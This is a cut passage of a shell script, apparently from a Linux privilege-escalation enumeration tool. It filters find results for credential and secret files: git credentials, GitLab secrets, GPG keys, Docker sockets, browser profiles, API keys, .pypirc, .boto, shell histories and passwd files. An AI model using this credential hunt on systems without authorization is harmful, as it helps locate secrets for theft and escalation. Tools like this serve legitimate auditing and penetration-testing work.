"^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70) + PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70) + PSTORAGE_SPLUNK=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "passwd$" | sort | uniq | head -n 70) + PSTORAGE_GIT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.git-credentials$" | sort | uniq | head -n 70) + PSTORAGE_ATLANTIS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "atlantis\.db$" | sort | uniq | head -n 70) + PSTORAGE_GITLAB=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/lib' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "secrets\.yml$|gitlab\.yml$|gitlab\.rm$" | sort | uniq | head -n 70) + PSTORAGE_PGP_GPG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'README.gnupg' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.pgp$|.*\.gpg$|.*\.gnupg$" | sort | uniq | head -n 70) + PSTORAGE_CACHE_VI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70) + PSTORAGE_DOCKER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$|dockershim\.sock$|containerd\.sock$|crio\.sock$|frakti\.sock$|rktlet\.sock$|\.docker$" | sort | uniq | head -n 70) + PSTORAGE_FIREFOX=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "\.mozilla$|Firefox$" | sort | uniq | head -n 70) + PSTORAGE_CHROME=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "google-chrome$|Chrome$" | sort | uniq | head -n 70) + PSTORAGE_OPERA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "com\.operasoftware\.Opera$" | sort | uniq | head -n 70) + PSTORAGE_SAFARI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^" | grep -E "Safari$" | sort | uniq | head -n 70) + PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70) + PSTORAGE_FASTCGI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "fastcgi_params$" | sort | uniq | head -n 70) + PSTORAGE_FAT_FREE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "fat\.config$" | sort | uniq | head -n 70) + PSTORAGE_SHODAN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "api_key$" | sort | uniq | head -n 70) + PSTORAGE_CONCOURSE=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}sbin" | grep -E "\.flyrc$|concourse-auth$|concourse-keys$" | sort | uniq | head -n 70) + PSTORAGE_BOTO=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.boto$" | sort | uniq | head -n 70) + PSTORAGE_SNMP=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_PYPIRC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.pypirc$" | sort | uniq | head -n 70) + PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "postfix$" | sort | uniq | head -n 70) + PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.cloudflared$" | sort | uniq | head -n 70) + PSTORAGE_HISTORY=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*_history.*$" | sort | uniq | head -n 70) + PSTORAGE_HTTP_CONF=$(echo -e 